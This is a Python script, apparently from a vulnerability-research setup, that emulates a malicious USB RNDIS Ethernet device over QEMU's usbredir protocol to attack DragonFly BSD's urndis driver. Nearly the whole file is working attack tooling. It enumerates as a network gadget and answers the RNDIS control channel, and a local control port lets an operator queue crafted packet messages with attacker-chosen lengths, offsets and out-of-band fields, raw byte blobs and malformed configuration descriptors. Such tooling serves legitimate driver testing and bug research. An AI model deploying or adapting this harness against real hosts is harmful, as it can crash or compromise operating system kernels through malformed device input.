#!/usr/bin/env python3
"""
usbredir_rndis.py -- a *malicious* USB RNDIS Ethernet device, served over the
usbredir protocol to QEMU's `-device usb-redir` (DF-5396 rig).

The device enumerates as a RNDIS gadget (control iface: class 0x02 / ACM 0x02 /
proto 0xFF so DragonFly's urndis(4) claims it via urndis_non_huawei_host_devs,
if_urndis.c:180-184), answers the RNDIS control channel (INIT/QUERY/SET), and
then pushes fully attacker-crafted RNDIS data messages on the bulk IN pipe.

Control plane: TCP 127.0.0.1:45601 accepts line commands:
  send <datalen> [dataoffset] [count]   -- enqueue crafted RNDIS packet msgs
  benign <count> <datalen>              -- well-formed frames
  raw <hexfile>                         -- send arbitrary bytes as one bulk msg
  drop                                  -- disconnect the device (chardev close)
  stat / quit
Every bulk IN request from the guest pops one queued message (or NAKs).
"""
import socket, struct, sys, threading, time, queue, binascii, traceback

LISTEN_REDIR = ('127.0.0.1', 45600)
LISTEN_CTRL  = ('127.0.0.1', 45601)

# ---- usbredir wire protocol -------------------------------------------------
# header: type u32, length u32, id u64  (we negotiate 64-bit ids by echoing caps)
T_HELLO=0; T_DEVCONN=1; T_DEVDISC=2; T_RESET=3; T_IFACE_INFO=4; T_EP_INFO=5
T_SET_CONF=6; T_GET_CONF=7; T_CONF_STATUS=8; T_SET_ALT=9; T_GET_ALT=10
T_ALT_STATUS=11; T_START_ISO=12; T_STOP_ISO=13; T_ISO_STATUS=14
T_START_INTR=15; T_STOP_INTR=16; T_INTR_RECV_STATUS=17
T_ALLOC_BULK_STREAMS=18; T_FREE_BULK_STREAMS=19; T_BULK_STREAMS_STATUS=20
T_CANCEL_DATA=21; T_FILTER_REJECT=22; T_FILTER_FILTER=23; T_DEVDISC_ACK=24
T_START_BULK_RECV=25; T_STOP_BULK_RECV=26; T_BULK_RECV_STATUS=27
T_CONTROL_PACKET=100; T_BULK_PACKET=101; T_ISO_PACKET=112
T_INTERRUPT_PACKET=113; T_BUFFERED_BULK_PACKET=114

ST_SUCCESS=0; ST_CANCELLED=1; ST_INVAL=2; ST_IOERROR=3; ST_STALL=4
EP_CONTROL=0; EP_ISO=1; EP_BULK=2; EP_INTR=3; EP_INVALID=255

# ---- USB descriptors --------------------------------------------------------
VID, PID = 0x0525, 0xa4a2   # NetChip RNDIS gadget (same as QEMU usb-net)

DEV_DESC = bytes([
    0x12, 0x01, 0x00, 0x02,        # len, DEVICE, bcdUSB 2.0
    0x02, 0x00, 0x00,              # class COMM (RNDIS style), sub, proto
    0x40,                          # bMaxPacketSize0
    VID & 0xff, VID >> 8, PID & 0xff, PID >> 8,
    0x00, 0x00,                    # bcdDevice 0.00
    0x01, 0x02, 0x03,              # strings: mfg, product, serial
    0x01,                          # bNumConfigurations
])

STR_MFG = bytes([16, 0x03]) + 'Q'.encode('utf-16-le')
STR_PROD = bytes([2 + 2*len('RNDIS/QEMU USB Network Device'), 0x03]) + 'RNDIS/QEMU USB Network Device'.encode('utf-16-le')
STR_SER = bytes([2 + 2*len('1'), 0x03]) + '1'.encode('utf-16-le')

def _cs(sub, *payload):
    # bLength = 3 header bytes (len,type,subtype) + payload
    return bytes([3 + len(payload), 0x30, sub]) + bytes(payload)

MALFORMED = [__import__('os').environ.get('RNDIS_MALFORMED','') == '1']

def _cs_bad(sub, *payload):
    return bytes([4 + len(payload), 0x30, sub]) + bytes(payload)

_CFG_BODY = (
    bytes([2, 1, 0, 0xC0, 32]) +                                              # ifcount, cfgval, icfg, attr, power
    bytes([9, 0x04, 0, 0, 1, 0x02, 0x02, 0xFF, 0]) +                          # if0 ctrl
    _cs(0x00, 0x10, 0x01) +                                                   # header fd
    _cs(0x01, 0x00, 0x01) +                                                   # call mgmt, bDataInterface=1
    _cs(0x02, 0x00) +                                                         # ACM
    _cs(0x06, 0x00, 0x01) +                                                   # union: master 0, slave 1
    bytes([7, 0x05, 0x81, 0x03, 16, 0, 32]) +                                 # ep intr IN
    bytes([9, 0x04, 1, 0, 2, 0x0A, 0x00, 0x00, 0]) +                          # if1 data
    bytes([7, 0x05, 0x82, 0x02, 64, 0, 0]) +                                  # ep bulk IN
    bytes([7, 0x05, 0x02, 0x02, 64, 0, 0])                                    # ep bulk OUT
)
def build_config(malformed=False):
    cs = _cs_bad if malformed else _cs
    body = (bytes([2, 1, 0, 0xC0, 32]) +
        bytes([9, 0x04, 0, 0, 1, 0x02, 0x02, 0xFF, 0]) +
        cs(0x00, 0x10, 0x01) + cs(0x01, 0x00, 0x01) + cs(0x02, 0x00) + cs(0x06, 0x00, 0x01) +
        bytes([7, 0x05, 0x81, 0x03, 16, 0, 32]) +
        bytes([9, 0x04, 1, 0, 2, 0x0A, 0x00, 0x00, 0]) +
        bytes([7, 0x05, 0x82, 0x02, 64, 0, 0]) +
        bytes([7, 0x05, 0x02, 0x02, 64, 0, 0]))
    return bytes([9, 0x02]) + struct.pack('<H', 4 + len(body)) + body

CONFIG_DESC = build_config()

DEV_QUALIFIER = bytes([10, 0x06, 0x00, 0x02, 0x02, 0, 0, 0x40, 1, 0])
LANGID = bytes([4, 0x03, 0x09, 0x04])

# ---- RNDIS control responses ------------------------------------------------
RNDIS_INIT_MSG, RNDIS_QUERY_MSG, RNDIS_SET_MSG = 2, 4, 5

def rndis_cmplt(mtype, fields, data=b''):
    body = b''.join(struct.pack('<I', f) for f in fields)
    return struct.pack('<II', mtype, 8 + len(body) + len(data)) + body + data

def resp_init():
    return rndis_cmplt(0x80000002,
        [0, 0,                 # rid, status
         1, 0,                 # ver major/minor
         1,                    # devflags = CONNECTIONLESS
         0,                    # medium 802.3
         1, 16384,             # pktmaxcnt, pktmaxsz
         0, 0, 0])             # align, aflistoff, aflistsz

MAC = bytes.fromhex('0200deadbeef')

def resp_query(oid):
    if oid in (0x01010101, 0x01010102):          # 802_3 PERMANENT/CURRENT address
        data = MAC
    elif oid == 0x0001010E:                       # CURRENT_PACKET_FILTER
        data = struct.pack('<I', 0x0000000F)
    else:
        # generic 4-byte answer keeps most OIDs happy
        data = struct.pack('<I', 0)
    return rndis_cmplt(0x80000004, [0, 0, len(data), 16], data)

def resp_set():
    return rndis_cmplt(0x80000005, [0, 0])

def resp_reset():
    return rndis_cmplt(0x80000006, [0, 0, 0])

# ---- crafted RNDIS data messages --------------------------------------------
def rndis_pkt_msg(datalen, dataoffset=36, payload=None, msglen=None,
                  msgtype=1, ooblen=0, ooboff=0, pktinfooff=0, pktinfolen=0):
    """Build one RNDIS PACKET_MSG. Defaults produce a *valid* message with the
    data starting right after the 44-byte header (dataoffset counted from the
    rm_dataoffset field, i.e. data at byte 8+dataoffset)."""
    if payload is None:
        # broadcast frame with a bogus ethertype -> dropped quickly by ether_input
        payload = (b'\xff' * 6 + b'\x02\x00\xde\xad\xbe\xef' +
                   b'\x00\x00' + bytes([0x41 + (i % 26) for i in range(datalen - 14)]))
        payload = payload[:datalen]
        payload += b'Z' * (datalen - len(payload))
    if msglen is None:
        msglen = 8 + dataoffset + datalen
    hdr = struct.pack('<IIIIIIIIIII',
        msgtype, msglen, dataoffset, datalen,
        ooblen, ooboff, 0, pktinfooff, pktinfolen, 0, 0)
    pad = b'\x00' * (8 + dataoffset - 44) if dataoffset >= 36 else b''
    return hdr + pad + payload

class Dev:
    def __init__(self):
        self.log = lambda *a: print('[dev]', *a, file=sys.stderr, flush=True)
        self.txq = queue.Queue()          # pending bulk IN payloads
        self.rndis_out = b''
        self.pending_rndis = None
        self.sent = 0
        self.got = 0
        self.wide_ids = False             # 16-byte headers only after hello exchange

D = Dev()

# ---- usbredir framing --------------------------------------------------------
def recv_exact(sock, n):
    buf = b''
    while len(buf) < n:
        c = sock.recv(n - len(buf))
        if not c:
            raise ConnectionError('eof')
        buf += c
    return buf

def send_pkt(sock, ptype, body, pid=0):
    # until the peer has seen OUR hello caps, everyone frames with 32-bit ids
    if D.wide_ids:
        wire = struct.pack('<IIQ', ptype, len(body), pid) + body
    else:
        wire = struct.pack('<III', ptype, len(body), pid & 0xffffffff) + body
    D.log(f'TX type={ptype} len={len(body)} wide={D.wide_ids} hex={wire[:40].hex()}')
    sock.sendall(wire)

def recv_pkt(sock):
    """Read one usbredir packet, honoring the pre/post-hello header width."""
    first = recv_exact(sock, 8)
    t, ln = struct.unpack('<II', first)
    if D.wide_ids:
        idb = recv_exact(sock, 8)
        pid = struct.unpack('<Q', idb)[0]
    else:
        idb = recv_exact(sock, 4)
        pid = struct.unpack('<I', idb)[0]
    body = recv_exact(sock, ln) if ln else b''
    D.log(f'RX type={t} len={ln} id={pid} wide={D.wide_ids} hex={body[:32].hex()}')
    return t, pid, body

def echo_caps():
    return D.peer_caps if D.peer_caps else [0x000000FF]

def epinfo_body():
    types   = [EP_INVALID] * 32
    inter   = [255] * 32   # interval
    iface   = [255] * 32   # interface
    maxp    = [0] * 32
    streams = [0] * 32
    def set_ep(addr, t, ifnum, mp, ival=0):
        i = ((addr & 0x80) >> 3) | (addr & 0x0f)
        types[i] = t; iface[i] = ifnum; maxp[i] = mp; inter[i] = ival
    set_ep(0x00, EP_CONTROL, 0, 64)
    set_ep(0x81, EP_INTR,    0, 16, 8)
    set_ep(0x82, EP_BULK,    1, 64)
    set_ep(0x02, EP_BULK,    1, 64)
    return (bytes(types) + bytes(inter) + bytes(iface) +
            b''.join(struct.pack('<H', x) for x in maxp) +
            b''.join(struct.pack('<I', x) for x in streams))

def ifaceinfo_body():
    b = struct.pack('<I', 2)
    b += bytes([0, 1]) + b'\x00' * 30
    b += bytes([0x02, 0x0A]) + b'\x00' * 30
    b += bytes([0x02, 0x00]) + b'\x00' * 30
    b += bytes([0xFF, 0x00]) + b'\x00' * 30
    return b

# ---- control request handling -------------------------------------------------
def handle_control(sock, pid, body):
    ep, req, rtype, status, val, idx, ln = struct.unpack('<BBBBHHH', body[:10])
    data = body[10:]
    rt = rtype; r = req
    D.log(f'ctrl ep{ep} type=0x{rt:02x} req=0x{r:02x} val=0x{val:04x} idx={idx} len={ln} datalen={len(data)}')
    reply = None
    if rt == 0x80 and r == 0x06:                      # GET_DESCRIPTOR
        dtype, dnum = val >> 8, val & 0xff
        if dtype == 1:
            reply = DEV_DESC
        elif dtype == 2:
            reply = build_config(MALFORMED[0])
        elif dtype == 3 and dnum == 0:
            reply = LANGID
        elif dtype == 6:
            reply = DEV_QUALIFIER
        else:
            reply = b''
        if reply is not None and len(reply) > ln:
            reply = reply[:ln]                        # never exceed wLength
    elif rt == 0x00 and r == 0x05:                    # SET_ADDRESS (should not come)
        pass
    elif rt == 0x21 and r == 0x00:                    # SEND_ENCAPSULATED_COMMAND
        D.rndis_out = data
        mt = struct.unpack('<I', data[:4])[0] if len(data) >= 4 else 0
        if mt == RNDIS_INIT_MSG:
            D.pending_rndis = resp_init()
        elif mt == RNDIS_QUERY_MSG:
            oid = struct.unpack('<I', data[12:16])[0] if len(data) >= 16 else 0
            D.pending_rndis = resp_query(oid)
        elif mt == RNDIS_SET_MSG:
            D.pending_rndis = resp_set()
        elif mt == 6:                                  # RESET_MSG
            D.pending_rndis = resp_reset()
        else:
            D.pending_rndis = None
        reply = b''
    elif rt == 0xA1 and r == 0x01:                    # GET_ENCAPSULATED_RESPONSE
        reply = D.pending_rndis or b''
        D.pending_rndis = None
        if len(reply) > ln:
            reply = reply[:ln]
    else:
        reply = b''
    rh = struct.pack('<BBBBHHH', ep, r, rt, ST_SUCCESS, val, idx,
                     len(reply) if reply else 0)
    send_pkt(sock, T_CONTROL_PACKET, rh + (reply or b''), pid)

# ---- main device session -------------------------------------------------------
def device_session(sock):
    D.wide_ids = False
    D.log('connection accepted')
    # --- hello exchange (QEMU's hello arrives with a 12-byte header)
    t, pid, body = recv_pkt(sock)
    assert t == T_HELLO, f'expected hello, got {t}'
    D.peer_caps = list(struct.unpack(f'<{max(0,(len(body)-64)//4)}I', body[64:])) if len(body) > 64 else []
    D.log('peer hello caps:', [hex(c) for c in D.peer_caps])
    caps = echo_caps()
    myhello = b'evil-rndis-1.0'.ljust(64, b'\x00') + b''.join(struct.pack('<I', c) for c in caps)
    # our hello itself still goes out narrow (peer hasn't seen our caps yet)
    send_pkt(sock, T_HELLO, myhello)
    D.wide_ids = True                   # both sides switch to 64-bit ids now

    # --- device connect (iface/ep info MUST precede device_connect: QEMU's
    #     chardev-open cleanup resets interface_count to NO_INTERFACE_INFO,
    #     and usbredir_check_filter() rejects connects without interface info)
    send_pkt(sock, T_IFACE_INFO, ifaceinfo_body())
    send_pkt(sock, T_EP_INFO, epinfo_body())
    conn = struct.pack('<BBBBHHH', 1, 0x02, 0, 0, VID, PID, 0x0100)  # speed=full
    send_pkt(sock, T_DEVCONN, conn)
    D.log('device connected: RNDIS gadget %04x:%04x' % (VID, PID))

    while True:
        t, pid, body = recv_pkt(sock)
        if t == T_CONTROL_PACKET:
            handle_control(sock, pid, body)
        elif t == T_BULK_PACKET:
            ep, status, blen, sid, bhi = struct.unpack('<BBH IH', body[:10])
            data = body[10:]
            if ep == 0x02 and data:                    # bulk OUT from guest (tx)
                D.got += 1
                pass                                   # ignore guest tx
            elif ep == 0x82:                           # bulk IN: guest wants rx
                try:
                    payload = D.txq.get_nowait()
                except queue.Empty:
                    payload = None
                if payload is not None:
                    rh = struct.pack('<BBHIH', ep, ST_SUCCESS, len(payload) & 0xffff,
                                     0, len(payload) >> 16)
                    send_pkt(sock, T_BULK_PACKET, rh + payload, pid)
                    D.sent += 1
                else:
                    # NAK equivalent: ioerror would be wrong; reply cancelled
                    rh = struct.pack('<BBHIH', ep, ST_IOERROR, 0, 0, 0)
                    send_pkt(sock, T_BULK_PACKET, rh, pid)
        elif t == T_INTERRUPT_PACKET:
            ep, status, blen = struct.unpack('<BBH', body[:4])
            # never completes interrupt IN (urndis ignores it)
        elif t == T_START_INTR:
            rh = struct.pack('<BB', ST_SUCCESS, body[0])
            send_pkt(sock, T_INTR_RECV_STATUS, rh)
        elif t == T_SET_CONF:
            rh = struct.pack('<BB', ST_SUCCESS, body[0])
            send_pkt(sock, T_CONF_STATUS, rh, pid)
        elif t == T_GET_CONF:
            rh = struct.pack('<BB', ST_SUCCESS, 1)
            send_pkt(sock, T_CONF_STATUS, rh, pid)
        elif t == T_SET_ALT:
            iface, alt = body[0], body[1]
            rh = struct.pack('<BBB', ST_SUCCESS, iface, alt)
            send_pkt(sock, T_ALT_STATUS, rh, pid)
        elif t == T_GET_ALT:
            rh = struct.pack('<BBB', ST_SUCCESS, body[0], 0)
            send_pkt(sock, T_ALT_STATUS, rh, pid)
        elif t == T_START_BULK_RECV:
            rh = struct.pack('<IBB', 0, body[8], ST_IOERROR)
            send_pkt(sock, T_BULK_RECV_STATUS, rh)
        elif t == T_STOP_BULK_RECV:
            pass
        elif t == T_RESET:
            pass
        elif t == T_CANCEL_DATA:
            pass
        elif t == T_ALLOC_BULK_STREAMS:
            rh = struct.pack('<IIB', body[:4], body[4:8], ST_INVAL)
            send_pkt(sock, T_BULK_STREAMS_STATUS, rh[:9] + rh[9:], pid)
        else:
            D.log('unhandled type', t, 'len', len(body))

# ---- control plane ---------------------------------------------------------------
def ctrl_plane():
    srv = socket.socket()
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(LISTEN_CTRL)
    srv.listen(4)
    while True:
        c, _ = srv.accept()
        try:
            f = c.makefile('rw')
            for line in f:
                parts = line.split()
                if not parts:
                    continue
                cmd = parts[0]
                try:
                    if cmd == 'send':                    # crafted msg
                        datalen = int(parts[1], 0)
                        dataoffset = int(parts[2], 0) if len(parts) > 2 else 36
                        count = int(parts[3], 0) if len(parts) > 3 else 1
                        for _ in range(count):
                            D.txq.put(rndis_pkt_msg(datalen, dataoffset))
                        f.write(f'queued {count} x datalen={datalen} off={dataoffset}\n')
                    elif cmd == 'rawmsg':                # full custom header
                        # rawmsg <type> <msglen> <dataoffset> <datalen> <ooblen> <ooboff> <count>
                        mt, ml, do, dl, ol, oo = (int(x, 0) for x in parts[1:7])
                        count = int(parts[7], 0) if len(parts) > 7 else 1
                        for _ in range(count):
                            D.txq.put(rndis_pkt_msg(dl, do, msglen=ml, msgtype=mt,
                                                    ooblen=ol, ooboff=oo))
                        f.write(f'queued {count} raw\n')
                    elif cmd == 'multi':                 # several msgs in one xfer
                        # multi <spec> ... : spec=datalen:off  (comma separated)
                        msgs = b''
                        for spec in parts[1].split(','):
                            dl, off = (int(x, 0) for x in spec.split(':'))
                            msgs += rndis_pkt_msg(dl, off)
                        D.txq.put(msgs)
                        f.write('queued multi\n')
                    elif cmd == 'benign':
                        count = int(parts[1], 0); dl = int(parts[2], 0)
                        for _ in range(count):
                            D.txq.put(rndis_pkt_msg(dl))
                        f.write(f'queued {count} benign {dl}\n')
                    elif cmd == 'raw':
                        blob = binascii.unhexlify(open(parts[1], 'rb').read().strip())
                        D.txq.put(blob)
                        f.write('queued raw blob\n')
                    elif cmd == 'malformed':
                        MALFORMED[0] = (parts[1].lower() == 'on')
                        f.write(f'malformed={MALFORMED[0]} (replug to take effect)\n')
                    elif cmd == 'stat':
                        f.write(f'sent={D.sent} rx_from_guest={D.got} qlen={D.txq.qsize()}\n')
                    elif cmd == 'drop':
                        f.write('closing device session\n')
                        os._exit(9)
                    elif cmd == 'quit':
                        f.write('bye\n')
                        os._exit(0)
                    else:
                        f.write('unknown\n')
                except Exception as e:
                    f.write(f'ERR {e}\n')
                f.flush()
        except Exception:
            pass
        finally:
            try: c.close()
            except Exception: pass

import os
if __name__ == '__main__':
    threading.Thread(target=ctrl_plane, daemon=True).start()
    srv = socket.socket()
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(LISTEN_REDIR)
    srv.listen(1)
    print('[dev] waiting for QEMU on', LISTEN_REDIR, file=sys.stderr, flush=True)
    while True:
        s, _ = srv.accept()
        try:
            device_session(s)
        except Exception as e:
            D.log('session ended:', e)
            D.log(traceback.format_exc())
            try:
                s.close()
            except Exception:
                pass